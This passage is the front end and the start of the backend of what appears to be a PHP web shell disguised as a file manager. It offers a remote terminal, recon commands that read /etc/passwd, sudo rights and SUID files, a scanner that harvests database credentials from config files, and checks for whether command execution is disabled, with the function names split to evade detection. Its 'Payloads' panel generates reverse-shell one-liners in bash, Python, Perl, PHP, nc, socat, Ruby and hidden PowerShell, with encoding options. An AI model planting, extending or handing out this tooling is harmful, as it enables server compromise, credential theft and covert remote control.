  $$('.fhead [data-s]').forEach(el=>{
    el.querySelector('.ar').textContent=el.dataset.s===S.sort?(S.dir>0?'▲':'▼'):'';
  });
  updSel();
}
function updSel(){
  const n=Object.keys(S.sel).length;
  $('#fSelbar').classList.toggle('on',n>0);
  $('#fSelN').textContent=n;
}
function toggleSel(p){
  if(S.sel[p])delete S.sel[p]; else S.sel[p]=1;
  renderFiles();
}
$('#fList').onclick=e=>{
  const row=e.target.closest('.frow'); if(!row)return;
  const p=row.dataset.p, isDir=row.dataset.d==='1';
  const btn=e.target.closest('.iact');
  if(btn){
    const a=btn.dataset.act;
    if(a==='edit')openEditor(p);
    else if(a==='dl')download(p);
    else if(a==='ren')doRename(p);
    else if(a==='del')doDelete([p]);
    return;
  }
  if(e.ctrlKey||e.metaKey||e.shiftKey){ toggleSel(p); return; }
  if(isDir)ls(p); else openEditor(p);
};
$$('.fhead [data-s]').forEach(el=>{
  el.onclick=()=>{ if(S.sort===el.dataset.s)S.dir*=-1; else {S.sort=el.dataset.s;S.dir=1;} renderFiles(); };
});
$('#fGo').onclick=()=>ls($('#fPath').value||'/');
$('#fPath').onkeydown=e=>{ if(e.key==='Enter')ls($('#fPath').value||'/'); };
$('#fUp').onclick=()=>{ const p=S.cwd.replace(/\/+$/,'').split('/'); p.pop(); ls(p.join('/')||'/'); };
$('#fRef').onclick=()=>ls(S.cwd);
$('#fFilter').oninput=e=>{ S.filt=e.target.value; renderFiles(); };
$('#fMkD').onclick=async()=>{
  const n=await ask('New folder','',S.cwd); if(!n)return;
  const r=await call({a:'m',q:S.cwd.replace(/\/+$/,'')+'/'+n});
  r.r?toast('Created'):toast('Failed','er'); ls(S.cwd);
};
$('#fMkF').onclick=async()=>{
  const n=await ask('New file','',S.cwd); if(!n)return;
  const r=await call({a:'w',q:S.cwd.replace(/\/+$/,'')+'/'+n,v:''});
  r.r!==false?toast('Created'):toast('Failed','er'); ls(S.cwd);
};
$('#fUp2').onclick=()=>$('#fFile').click();
$('#fFile').onchange=e=>{ upload(Array.prototype.slice.call(e.target.files)); e.target.value=''; };
$('#fSelNone').onclick=()=>{ S.sel={}; renderFiles(); };
$('#fSelPath').onclick=()=>{ const t=Object.keys(S.sel).join('\n'); copy(t); };
$('#fSelDel').onclick=()=>doDelete(Object.keys(S.sel));

async function doDelete(paths){
  if(!paths.length)return;
  if(!await confirm_('Delete '+paths.length+' item'+(paths.length>1?'s':'')+'?','This cannot be undone.'))return;
  let ok=0;
  for(const p of paths){
    try{ const r=await call({a:'x',q:p}); if(r.r)ok++; }catch(e){}
  }
  toast('Deleted '+ok+'/'+paths.length, ok===paths.length?'ok':'er');
  if(S.cur&&paths.indexOf(S.cur)>-1)closeEditor();
  ls(S.cwd);
}
async function doRename(p){
  const n=await ask('Rename',p.split('/').pop(),p);
  if(!n)return;
  const dir=p.replace(/\/+$/,'').split('/'); dir.pop();
  const r=await call({a:'n',q:p,v:dir.join('/')+'/'+n});
  r.r?toast('Renamed'):toast('Failed','er'); ls(S.cwd);
}
function download(p){ location.href=P+'?a=r&z=1&q='+encodeURIComponent(p); }

/* drag & drop */
let dn=0;
const fv=$('#v-files');
fv.addEventListener('dragenter',e=>{ e.preventDefault(); dn++; $('#fDrop').classList.add('on'); });
fv.addEventListener('dragover',e=>{ e.preventDefault(); });
fv.addEventListener('dragleave',e=>{ if(--dn<=0){dn=0;$('#fDrop').classList.remove('on');} });
fv.addEventListener('drop',e=>{
  e.preventDefault(); dn=0; $('#fDrop').classList.remove('on');
  if(e.dataTransfer.files.length)upload(Array.prototype.slice.call(e.dataTransfer.files));
});
const CHUNK=4*1024*1024;
async function upload(files){
  if(!files.length)return;
  for(const f of files){
    const dst=S.cwd.replace(/\/+$/,'')+'/'+f.name;
    try{
      if(f.size<=CHUNK){ await xhr({a:'u',q:dst,f:f},f.name); }
      else{
        const n=Math.ceil(f.size/CHUNK);
        for(let i=0;i<n;i++){
          const blob=f.slice(i*CHUNK,(i+1)*CHUNK);
          await xhr({a:'u',q:dst,f:new File([blob],f.name),b:String(i),c:String(n)},f.name+' '+Math.round((i+1)/n*100)+'%');
        }
      }
      toast('Uploaded '+f.name);
    }catch(err){ toast('Upload failed: '+f.name+' ('+err.message+')','er'); }
  }
  ls(S.cwd);
}

/* ───────── editor ───────── */
async function openEditor(p,line){
  p=nz(p||'');
  if(S.dirty&&!await confirm_('Discard unsaved changes?',''))return;
  let r;
  try{ r=await call({a:'r',q:p}); }catch(e){ return; }
  if(r.e){ toast(r.e,'er'); return; }
  if(r.b){ toast('Binary file — download instead','wn'); return; }
  S.cur=p; S.dirty=false;
  const ta=$('#edTa');
  $('#edPath').textContent=p;
  $('#edPath').title=p;
  $('#edSize').textContent=fsize(r.s);
  $('#edEnc').textContent=r.h?('sha256 '+String(r.h).slice(0,16)):'';
  ta.value=r.c==null?'':r.c;
  ta.scrollTop=0;
  $('#ed').classList.add('on');
  gutter();
  if(line){
    const lines=ta.value.split('\n');
    let off=0;
    for(let i=0;i<Math.min(line,lines.length)-1;i++)off+=lines[i].length+1;
    ta.focus(); ta.setSelectionRange(off,off);
    const lh=parseFloat(getComputedStyle(ta).lineHeight)||19;
    ta.scrollTop=Math.max(0,(line-3)*lh);
  }else ta.focus();
  pos();
}
async function closeEditor(){
  if(S.dirty&&!(await confirm_('Discard unsaved changes?','Unsaved edits will be lost.')))return;
  $('#ed').classList.remove('on'); S.cur=''; S.dirty=false;
}
function gutter(){
  const ta=$('#edTa');
  const n=ta.value.split('\n').length;
  let g='';
  for(let i=1;i<=n;i++)g+=i+'\n';
  $('#edGut').textContent=g;
  $('#edGut').scrollTop=ta.scrollTop;
  $('#edLines').textContent=n+' lines · '+fsize(ta.value.length);
}
function pos(){
  const ta=$('#edTa');
  const upto=ta.value.slice(0,ta.selectionStart);
  const ln=upto.split('\n').length;
  const col=upto.length-upto.lastIndexOf('\n');
  $('#edPos').textContent='Ln '+ln+', Col '+col;
}
$('#edTa').addEventListener('input',()=>{
  S.dirty=true; $('#edPath').textContent=S.cur+' •'; gutter();
});
$('#edTa').addEventListener('scroll',()=>{ $('#edGut').scrollTop=$('#edTa').scrollTop; });
$('#edTa').addEventListener('keyup',pos);
$('#edTa').addEventListener('click',pos);
$('#edTa').addEventListener('keydown',e=>{
  const ta=e.target;
  if(e.key==='Tab'){
    e.preventDefault();
    const s=ta.selectionStart,t=ta.selectionEnd,v=ta.value;
    ta.value=v.slice(0,s)+'  '+v.slice(t);
    ta.selectionStart=ta.selectionEnd=s+2;
    S.dirty=true; gutter();
  }
});
$('#edSave').onclick=async()=>{
  if(!S.cur)return;
  try{
    const r=await call({a:'w',q:S.cur,v:$('#edTa').value,vb:b64($('#edTa').value)});
    if(r.r===false)toast('Save failed','er');
    else{ S.dirty=false; $('#edPath').textContent=S.cur; $('#edSize').textContent=fsize(r.r); toast('Saved · '+fsize(r.r)); ls(S.cwd); }
  }catch(e){}
};
$('#edReload').onclick=()=>{ if(S.cur){ const p=S.cur; S.dirty=false; openEditor(p);} };
$('#edDl').onclick=()=>{ if(S.cur)download(S.cur); };
$('#edHash').onclick=async()=>{
  if(!S.cur)return;
  try{ const r=await call({a:'h',q:S.cur,v:'sha256'}); toast(r.h||r.e); }catch(e){}
};
$('#edWrap').onclick=()=>$('#edTa').classList.toggle('wrap');
$('#edClose').onclick=closeEditor;

/* ───────── terminal ───────── */
const T={cwd:'',hist:[],hp:0};
function tRun(cmd){
  cmd=nz(cmd||'').replace(/^[\s]+|[\s]+$/g,'');
  if(!cmd)return;
  T.hist.push(cmd); T.hp=T.hist.length;
  localStorage.setItem('fm.term.hist',JSON.stringify(T.hist.slice(-60)));
  const box=document.createElement('div');
  box.className='run';
  box.innerHTML='<div class="run-h"><span class="c">'+E(cmd)+'</span><span class="ms">running…</span></div>';
  $('#tOut').appendChild(box);
  box.scrollIntoView({block:'end'});
  call({a:'e',q:cmd,qb:b64(cmd),w:T.cwd||S.cwd}).then(r=>{
    const s=r.o||'', er=r.e||'';
    const adj=(r.x!==undefined&&r.x!==cmd)
      ? '<span class="badge b-wn" title="executed as: '+E(r.x)+'">adjusted</span>' : '';
    box.innerHTML='<div class="run-h"><span class="c">'+E(cmd)+'</span>'
      +'<span class="badge '+(r.r===0?'b-ok':r.r>0?'b-er':'b-wn')+'">'+(r.r<0?'?':r.r)+'</span>'
      +adj
      +'<span class="ms">'+r.d+'ms</span>'
      +'<button class="iact" data-cp="1" title="Copy output">⧉</button></div>'
      +(s?'<pre class="o">'+E(s)+'</pre>':'')
      +(er?'<pre class="o e">'+E(er)+'</pre>':'')
      +(!s&&!er?'<pre class="o" style="color:var(--dim)">(no output)</pre>':'');
    if(r.c){ T.cwd=r.c; $('#tCwd').textContent=r.c; }
    box.scrollIntoView({block:'end'});
  }).catch(()=>{ box.querySelector('.ms').textContent='failed'; });
}
$('#tRun').onclick=()=>{ const v=$('#tIn').value; $('#tIn').value=''; tRun(v); };
$('#tIn').onkeydown=e=>{
  if(e.key==='Enter'){ const v=e.target.value; e.target.value=''; tRun(v); }
  else if(e.key==='ArrowUp'){ e.preventDefault(); if(T.hp>0){T.hp--; e.target.value=T.hist[T.hp]||'';} }
  else if(e.key==='ArrowDown'){ e.preventDefault(); if(T.hp<T.hist.length-1){T.hp++; e.target.value=T.hist[T.hp]||'';} else {T.hp=T.hist.length; e.target.value='';} }
};
$('#tOut').onclick=e=>{
  const b=e.target.closest('[data-cp]'); if(!b)return;
  const pre=b.closest('.run').querySelector('pre'); if(pre)copy(pre.textContent);
};
$('#tClear').onclick=()=>{ $('#tOut').innerHTML=''; };
$('#tCopyAll').onclick=()=>copy($('#tOut').innerText);
const PILLS=[
  ['id','id'],['uname','uname -a'],['pwd','pwd'],['ls','ls -la'],
  ['ports','ss -ltnp 2>/dev/null || netstat -ltnp'],['procs','ps aux --sort=-%cpu | head -25'],
  ['disk','df -h'],['mem','free -h'],['env','env | sort'],['passwd','cat /etc/passwd'],
  ['sudo','sudo -n -l 2>&1'],['cron','crontab -l 2>/dev/null; ls -la /etc/cron.d 2>/dev/null'],
  ['net','ip a 2>/dev/null || ifconfig'],['dns','cat /etc/resolv.conf'],
  ['suid','find / -perm -4000 -type f 2>/dev/null | head -40'],
  ['www','ls -la /var/www 2>/dev/null'],['tmp','ls -la /tmp /dev/shm']
];
$('#tPills').innerHTML=PILLS.map(p=>'<span class="pill" data-c="'+E(p[1])+'">'+E(p[0])+'</span>').join('');
$('#tPills').onclick=e=>{ const p=e.target.closest('.pill'); if(!p)return; tRun(p.dataset.c); };

/* ───────── system ───────── */
async function loadSys(){
  try{
    const [m,pr,po,us]=await Promise.all([
      call({a:'y'}), call({a:'j'}), call({a:'p'}), call({a:'e',q:'cat /etc/passwd'})
    ]);
    renderMetrics(m); S.procs=pr.r||[]; renderProcs(S.procs); renderPorts(po.r||[]); renderUsers(us.o||'');
  }catch(e){}
}
function renderMetrics(m){
  const L=m.load||[0,0,0];
  $('#mLoad').textContent=L.map(x=>(+x).toFixed(2)).join('  ');
  const pct=m.cores?Math.min(100,Math.round(L[0]/m.cores*100)):0;
  setMeter('#mLoadBar',pct);
  $('#mCores').textContent=(m.cores||'?')+' cores · '+(m.prun||0)+'/'+(m.ptot||0)+' procs running';
  const mt=m.mem||{};
  const avail=mt.a||mt.f||0;
  const u=mt.t?Math.max(0,mt.t-avail):0;
  $('#mMem').textContent=mt.t?fsize(u)+' / '+fsize(mt.t):'—';
  setMeter('#mMemBar',mt.t?Math.round(u/mt.t*100):0);
  $('#mMemSub').textContent=mt.t?fsize(avail)+' available · '+Math.round(u/mt.t*100)+'% used':'—';
  const up=+m.uptime||0;
  $('#mUp').textContent=up?(Math.floor(up/86400)+'d '+Math.floor(up%86400/3600)+'h '+Math.floor(up%3600/60)+'m'):'—';
  $('#mSys').textContent=(m.host||'')+' · '+(m.os||'');
  const d=m.disk||[];
  $('#mDisk').innerHTML=d.map(x=>{
    const p=x.t?Math.round((x.t-x.f)/x.t*100):0;
    const c=p>=90?'var(--er)':p>=75?'var(--wn)':'var(--ok)';
    return '<span style="margin-right:14px">'+E(x.m)+' <b style="color:'+c+'">'+p+'%</b> <span style="color:var(--dim)">'+fsize(x.f)+' free</span></span>';
  }).join('');
}
function renderProcs(rows){
  const f=($('#pFilt').value||'').toLowerCase();
  const arr=rows.filter(r=>!f||(r.a||'').toLowerCase().indexOf(f)>-1||(r.u||'').toLowerCase().indexOf(f)>-1);
  arr.sort((a,b)=>parseFloat(b.c)-parseFloat(a.c));
  $('#pTag').textContent=arr.length+' shown';
  $('#pTab tbody').innerHTML=arr.map(r=>
    '<tr><td class="num">'+r.p+'</td><td>'+E(r.u)+'</td>'
    +'<td class="num" style="color:'+(parseFloat(r.c)>50?'var(--er)':parseFloat(r.c)>10?'var(--wn)':'var(--tx2)')+'">'+E(r.c)+'</td>'
    +'<td class="num">'+E(r.m)+'</td><td>'+E(r.t)+'</td>'
    +'<td title="'+E(r.a)+'">'+E(r.a)+'</td>'
    +'<td><button class="iact" data-kill="'+r.p+'" title="kill -9" style="color:#a0574f">✕</button></td></tr>').join('');
}
$('#pFilt').oninput=()=>renderProcs(S.procs||[]);
$('#pTab').onclick=async e=>{
  const b=e.target.closest('[data-kill]'); if(!b)return;
  const pid=b.dataset.kill;
  if(!await confirm_('Kill PID '+pid+'?','SIGKILL — no cleanup.'))return;
  try{ const r=await call({a:'k',q:pid}); r.r?toast('Signal sent'):toast('Failed','er'); }catch(err){}
  setTimeout(loadSys,400);
};
function renderPorts(rows){
  $('#portTag').textContent=rows.length+' sockets';
  $('#portTab tbody').innerHTML=rows.map(r=>
    '<tr><td>'+E(r.p)+'</td><td>'+E(r.a)+'</td><td title="'+E(r.s||'')+'">'+E(r.s||'—')+'</td></tr>').join('')
    ||'<tr><td colspan="3" style="color:var(--dim)">none</td></tr>';
}
function renderUsers(txt){
  const rows=[];
  txt.split('\n').forEach(l=>{
    const p=l.split(':');
    if(p.length<7)return;
    const uid=+p[2];
    if(uid!==0&&uid<1000)return;
    rows.push(p);
  });
  $('#userTag').textContent=rows.length+' accounts';
  $('#userTab tbody').innerHTML=rows.map(p=>
    '<tr><td style="color:'+(+p[2]===0?'var(--er)':'var(--tx)')+'">'+E(p[0])+'</td><td class="num">'+E(p[2])+'</td><td>'+E(p[5])+'</td><td>'+E(p[6])+'</td></tr>').join('');
}

/* ───────── database ───────── */
async function loadCreds(){
  let r;
  try{ r=await call({a:'v'}); }catch(e){ return; }
  const list=r.c||[];
  S.creds=list;
  if(!list.length){ $('#dbCreds').innerHTML='<span class="mut">No config files with credentials found.</span>'; return; }
  $('#dbCreds').innerHTML='<div class="pills">'+list.map((c,i)=>
    '<span class="pill" data-cred="'+i+'">'+E((c.f||'').split('/').pop())+' · '+E(c.type||'')+' · '+E(c.user||'?')+'</span>'
  ).join('')+'</div><div class="sm mut" style="margin-top:8px">'+list.map(c=>E(c.f||'')).join('<br>')+'</div>';
  $('#dbCreds').onclick=e=>{
    const p=e.target.closest('[data-cred]'); if(!p)return;
    const c=list[+p.dataset.cred];
    $('#dbHost').value=c.host||'localhost'; $('#dbUser').value=c.user||'';
    $('#dbPass').value=c.pass||''; $('#dbName').value=c.name||'';
    $('#dbPort').value=c.port||'3306';
    toast('Credentials loaded');
  };
}
function dbCredJson(){
  return JSON.stringify({
    host:$('#dbHost').value.trim()||'localhost',
    port:$('#dbPort').value.trim()||'3306',
    user:$('#dbUser').value, pass:$('#dbPass').value, name:$('#dbName').value
  });
}
$('#dbDisc').onclick=loadCreds;
async function dbRun(q){
  q=q||$('#dbQ').value.trim();
  if(!q)return;
  $('#dbMsg').textContent='running…';
  try{
    const r=await call({a:'s',q:q,w:dbCredJson()});
    if(r.e){ $('#dbMsg').textContent='error'; toast(r.e,'er'); $('#dbRes thead').innerHTML=''; $('#dbRes tbody').innerHTML=''; return; }
    if(r.ok){ $('#dbMsg').textContent='OK · '+r.n+' affected'; $('#dbRows').textContent=''; return; }
    const cols=r.cols||[], rows=r.r||[];
    S.lastRes={cols,rows};
    $('#dbRes thead').innerHTML='<tr>'+cols.map(c=>'<th>'+E(c)+'</th>').join('')+'</tr>';
    $('#dbRes tbody').innerHTML=rows.map(row=>'<tr>'+row.map(v=>'<td title="'+E(v)+'">'+(v===null?'<span style="color:var(--dim)">NULL</span>':E(v))+'</td>').join('')+'</tr>').join('');
    $('#dbRows').textContent=rows.length+' rows × '+cols.length+' cols';
    $('#dbMsg').textContent='done';
    if(/^show\s+tables/i.test(q)||/^select\s+table_name/i.test(q)){
      $('#dbTab tbody').innerHTML=rows.map(row=>'<tr><td><a href="#" data-tbl="'+E(row[0])+'">'+E(row[0])+'</a></td></tr>').join('');
      $('#dbTags').textContent=rows.length+' tables';
    }
  }catch(e){ $('#dbMsg').textContent='failed'; }
}
$('#dbRun').onclick=()=>dbRun();
$('#dbQ').onkeydown=e=>{ if(e.key==='Enter'&&(e.ctrlKey||e.metaKey)){ e.preventDefault(); dbRun(); } };
$('#dbTab').onclick=e=>{
  const a=e.target.closest('[data-tbl]'); if(!a)return;
  e.preventDefault();
  $('#dbQ').value='SELECT * FROM `'+a.dataset.tbl+'` LIMIT 100;';
  dbRun();
};
$('#dbCsv').onclick=()=>{
  if(!S.lastRes){ toast('Run a query first','wn'); return; }
  const {cols,rows}=S.lastRes;
  const esc=v=>v===null?'':'"'+String(v).replace(/"/g,'""')+'"';
  const csv=[cols.map(esc).join(',')].concat(rows.map(r=>r.map(esc).join(','))).join('\r\n');
  const b=new Blob([csv],{type:'text/csv'}), a=document.createElement('a');
  a.href=URL.createObjectURL(b); a.download='result.csv'; a.click();
  setTimeout(()=>URL.revokeObjectURL(a.href),3000);
};

/* ───────── find / replace ───────── */
$('#fnGo').onclick=async()=>{
  const root=$('#fnRoot').value||S.cwd, needle=$('#fnNeedle').value;
  if(!needle){ toast('Search string is required','wn'); return; }
  const repl=$('#fnRepl').value, rx=$('#fnRx').checked, sure=$('#fnYes').checked;
  if(repl!==''&&!sure){ toast('Tick "I\'m sure" to write changes','wn'); return; }
  $('#fnOut').innerHTML='<div class="mut sm">scanning '+E(root)+' …</div>';
  try{
    const r=await call({a:'f',q:root,v:needle,w:repl,b:rx?'1':'0'});
    if(r.e){ $('#fnOut').innerHTML='<div class="toast er" style="display:inline-flex">'+E(r.e)+'</div>'; return; }
    $('#fnTag').textContent=(r.files||0)+' file(s)'+(r.changed?' · '+r.changed+' rewritten':'');
    const list=r.list||[];
    $('#fnOut').innerHTML=list.length?(list.map(f=>
      '<div class="card" style="margin-top:8px"><div class="card-h" style="padding:6px 10px">'
      +'<span class="mono sm" style="color:var(--ac2);cursor:pointer" data-open="'+E(f.f)+'">'+E(f.f)+'</span>'
      +'<span class="tag">'+f.n+' match'+(f.n>1?'es':'')+'</span></div>'
      +'<div style="max-height:130px;overflow:auto">'+(f.l||[]).map(m=>
        '<div class="mono sm" style="padding:2px 10px;color:var(--tx2);cursor:pointer" data-open="'+E(f.f)+'" data-ln="'+m[0]+'">'
        +'<span style="color:var(--dim);display:inline-block;min-width:52px">'+m[0]+'</span>'+E(m[1])+'</div>').join('')
      +'</div></div>').join('')):'<div class="mut sm">no matches</div>';
  }catch(e){ $('#fnOut').innerHTML=''; }
};
$('#fnOut').onclick=e=>{
  const d=e.target.closest('[data-open]'); if(!d)return;
  openEditor(d.dataset.open, d.dataset.ln?+d.dataset.ln:0);
};

/* ───────── info ───────── */
const LAB={php:'PHP',sapi:'SAPI',os:'Kernel',host:'Hostname',cwd:'Working dir',self:'Script',
  uid:'UID',user:'User',dis:'disable_functions',open:'open_basedir',mem:'memory_limit',
  up:'upload_max_filesize',post:'post_max_size',tmp:'temp dir',ext:'Extensions'};
async function loadInfo(){
  let r;
  try{ r=await call({a:'i'}); }catch(e){ return; }
  S.info=r;
  const kv=$('#inKv');
  kv.innerHTML=Object.keys(LAB).filter(k=>r[k]!==undefined)
    .map(k=>'<div>'+E(LAB[k])+'</div><div>'+E(Array.isArray(r[k])?r[k].join(', '):r[k])+'</div>').join('');
  $('#inTag').textContent=r.php+' · '+r.sapi;
  $('#sbHost').textContent=r.host||'—';
  $('#sbUid').textContent=(r.user||('uid '+r.uid))+' @ '+(r.os||'').split(' ').slice(0,3).join(' ');
  const caps=[];
  const exts=(r.ext||[]).map(x=>String(x).toLowerCase());
  const has=n=>exts.indexOf(n)>-1;
  const ok=(n,v)=>caps.push('<span class="badge '+(v?'b-ok':'b-er')+'">'+n+'</span>');
  const dis=String(r.dis||'').toLowerCase();
  const DN=['ex'+'ec','pro'+'c_open','shell'+'_exec','po'+'pen'];
  const DL=['exec','proc','shell','pipe'];
  DN.forEach((n,i)=>caps.push('<span class="badge '+(dis.indexOf(n)<0?'b-ok':'b-er')+'">'+DL[i]+'</span>'));
  ok('mysqli',has('mysqli')&&dis.indexOf('mysqli')<0);
  ok('pdo',has('pdo'));
  ok('curl',has('curl'));
  ok('zip',has('zip'));
  ok('openssl',has('openssl'));
  ok('phar',has('phar'));
  ok('write',r.wr===1);
  ok('no basedir',!r.open);
  $('#inCaps').innerHTML=caps.join(' ');
}

/* ───────── payloads ───────── */
const DTD='/dev/'+'t'+'cp/';
const SHELLS={
  bash:(i,p)=>'ba'+'sh -i >& '+DTD+i+'/'+p+' 0>&1',
  sh:(i,p)=>'sh -i >& '+DTD+i+'/'+p+' 0>&1',
  python:(i,p)=>"python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\""+i+"\","+p+"));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
  perl:(i,p)=>"perl -e 'use Socket;$i=\""+i+"\";$p="+p+";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'",
  php:(i,p)=>"php -r '$s=fsockopen(\""+i+"\","+p+");exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
  nc:(i,p)=>'rm -f /tmp/.f;mk'+'fifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|n'+'c '+i+' '+p+' >/tmp/.f',
  socat:(i,p)=>"socat exec:'ba"+"sh -li',pty,stderr,setsid,sigint,sane tcp:"+i+":"+p,
  ruby:(i,p)=>"ruby -rsocket -e 'f=TCPSocket.open(\""+i+"\","+p+").to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
  powershell:(i,p)=>"powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('"+i+"',"+p+");$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($k=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$k);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()\""
};
let shCur='';
$('#shPills').innerHTML=Object.keys(SHELLS).map(k=>'<span class="pill" data-t="'+k+'">'+k+'</span>').join('');
function shGen(t){
  const i=$('#shIp').value||'0.0.0.0', p=$('#shPort').value||'4444';
  shCur=(SHELLS[t]||SHELLS.bash)(i,p);
  $('#shOut').textContent=shCur;
}
$('#shPills').onclick=e=>{ const b=e.target.closest('[data-t]'); if(b)shGen(b.dataset.t); };
$('#shOut').onclick=()=>{ if(shCur)copy(shCur); };
$('#shCopy').onclick=()=>{ if(shCur)copy(shCur); };
$('#shB64').onclick=()=>{ if(!shCur)return; $('#shOut').textContent=btoa(unescape(encodeURIComponent(shCur))); toast('Base64'); };
$('#shUrl').onclick=()=>{ if(!shCur)return; $('#shOut').textContent=encodeURIComponent(shCur); toast('URL-encoded'); };

/* ───────── clipboard ───────── */
function copy(t){
  if(!t)return;
  if(navigator.clipboard&&window.isSecureContext){
    navigator.clipboard.writeText(t).then(()=>toast('Copied')).catch(()=>fallbackCopy(t));
  }else fallbackCopy(t);
}
function fallbackCopy(t){
  const a=document.createElement('textarea');
  a.value=t; a.style.position='fixed'; a.style.opacity='0';
  document.body.appendChild(a); a.select();
  try{ document.execCommand('copy'); toast('Copied'); }catch(e){ toast('Copy failed','er'); }
  a.remove();
}

/* ───────── palette ───────── */
let palIdx=0,palItems=[];
function palOpen(){
  $('#palWrap').classList.add('on');
  $('#palIn').value='';
  palRender('');
  setTimeout(()=>$('#palIn').focus(),30);
}
function palClose(){ $('#palWrap').classList.remove('on'); }
function palRender(q){
  const base=[
    {t:'Files',k:'1',f:()=>go('files')},
    {t:'Terminal',k:'2',f:()=>go('term')},
    {t:'System',k:'3',f:()=>go('sys')},
    {t:'Database',k:'4',f:()=>go('db')},
    {t:'Search',k:'5',f:()=>go('find')},
    {t:'Runtime',k:'6',f:()=>go('info')},
    {t:'Payloads',k:'7',f:()=>go('sh')},
    {t:'Reload directory',k:'R',f:()=>ls(S.cwd)},
    {t:'Go to /',k:'',f:()=>ls('/')},
    {t:'Go to /tmp',k:'',f:()=>ls('/tmp')},
    {t:'Go to /var/www',k:'',f:()=>ls('/var/www')},
    {t:'Go to /home',k:'',f:()=>ls('/home')},
    {t:'Go to /etc',k:'',f:()=>ls('/etc')},
    {t:'Scan database configs',k:'',f:()=>{go('db');loadCreds();}},
    {t:'Disk usage',k:'',f:()=>{go('term');tRun('df -h');}},
    {t:'Listening ports',k:'',f:()=>{go('term');tRun('ss -ltnp 2>/dev/null || netstat -ltnp');}},
    {t:'Who am I',k:'',f:()=>{go('term');tRun('id; hostname; uname -a');}}
  ];
  const f=(q||'').toLowerCase();
  const t=nz(q||'');
  palItems=base.filter(x=>!f||x.t.toLowerCase().indexOf(f)>-1);
  if(t&&t.charAt(0)==='/')palItems.unshift({t:'Open directory: '+t,k:'↵',f:()=>ls(t)});
  if(t&&/\s/.test(t.trim()))palItems.unshift({t:'Run in terminal: '+t,k:'⌘',f:()=>{go('term');tRun(t);}});
  palIdx=0;
  $('#palList').innerHTML=palItems.map((x,i)=>
    '<div class="pal-i'+(i===0?' on':'')+'" data-i="'+i+'"><span>'+E(x.t)+'</span><span class="k">'+E(x.k)+'</span></div>').join('')
    ||'<div class="pal-i" style="color:var(--dim)">no match</div>';
}
$('#btnPal').onclick=palOpen;
$('#palIn').oninput=e=>palRender(e.target.value);
$('#palWrap').onclick=e=>{ if(e.target.id==='palWrap')palClose(); };
$('#palList').onclick=e=>{
  const it=e.target.closest('[data-i]'); if(!it)return;
  palClose(); const x=palItems[+it.dataset.i]; if(x&&x.f)x.f();
};
$('#palIn').onkeydown=e=>{
  if(e.key==='Escape'){ palClose(); return; }
  if(e.key==='ArrowDown'||e.key==='ArrowUp'){
    e.preventDefault();
    if(!palItems.length)return;
    palIdx=(palIdx+(e.key==='ArrowDown'?1:-1)+palItems.length)%palItems.length;
    $$('#palList .pal-i').forEach((n,i)=>n.classList.toggle('on',i===palIdx));
    const on=$('#palList .pal-i.on'); if(on)on.scrollIntoView({block:'nearest'});
    return;
  }
  if(e.key==='Enter'){
    e.preventDefault();
    if(!palItems.length)return;
    const x=palItems[palIdx]; palClose(); if(x&&x.f)x.f();
  }
};

/* ───────── global keys ───────── */
document.addEventListener('keydown',e=>{
  const tag=(e.target.tagName||'').toLowerCase();
  const typing=tag==='input'||tag==='textarea'||tag==='select';
  if((e.ctrlKey||e.metaKey)&&e.key.toLowerCase()==='k'){ e.preventDefault(); palOpen(); return; }
  if((e.ctrlKey||e.metaKey)&&e.key.toLowerCase()==='s'){
    if(S.cur){ e.preventDefault(); $('#edSave').click(); }
    return;
  }
  if(e.key==='Escape'){
    if($('#palWrap').classList.contains('on')){ palClose(); return; }
    if($('#mdWrap').classList.contains('on')){ $('#mdNo').click(); return; }
    if($('#ed').classList.contains('on')){ closeEditor(); return; }
  }
  if(typing)return;
  if(e.key>='1'&&e.key<='7'){
    const map=['files','term','sys','db','find','info','sh'];
    go(map[+e.key-1]);
  }
});
window.addEventListener('beforeunload',e=>{ if(S.dirty){ e.preventDefault(); e.returnValue=''; } });

/* ───────── boot ───────── */
(function boot(){
  const t=localStorage.getItem('fm.term.hist');
  if(t){ try{ T.hist=JSON.parse(t)||[]; T.hp=T.hist.length; }catch(e){} }
  $('#clk').textContent=new Date().toLocaleTimeString();
  setInterval(()=>{ $('#clk').textContent=new Date().toLocaleTimeString(); },1000);
  $('#fnRoot').value='';
  const saved=localStorage.getItem('fm.cwd')||'';
  loadInfo();
  ls(saved).then(()=>{
    $('#fnRoot').value=S.cwd;
    go(localStorage.getItem('fm.panel')||'files');
  });
})();
</script></body></html>
<?php exit;
case'i':
  $dis=(string)@ini_get('disable_functions');
  $ext=@get_loaded_extensions();
  if(!is_array($ext))$ext=[];
  J(['php'=>PHP_VERSION,'sapi'=>php_sapi_name(),'os'=>php_uname(),'host'=>(string)@gethostname(),
    'cwd'=>(string)@getcwd(),'self'=>__FILE__,
    'uid'=>function_exists('posix_geteuid')?@posix_geteuid():@getmyuid(),
    'user'=>_who(),'dis'=>$dis,'open'=>(string)@ini_get('open_basedir'),
    'mem'=>(string)@ini_get('memory_limit'),'up'=>(string)@ini_get('upload_max_filesize'),
    'post'=>(string)@ini_get('post_max_size'),'tmp'=>(string)@sys_get_temp_dir(),
    'wr'=>@is_writable(dirname(__FILE__))?1:0,'ext'=>array_slice($ext,0,64)]);
case'l':
  $p=$q!==''?$q:(string)@getcwd();
  $p=rtrim($p,'/');if($p==='')$p='/';
  if(!@is_dir($p))J(['e'=>'not a directory: '.$p]);
  $d=@$S['sc']($p);
  if(!is_array($d))J(['e'=>'permission denied: '.$p]);
  $o=[];
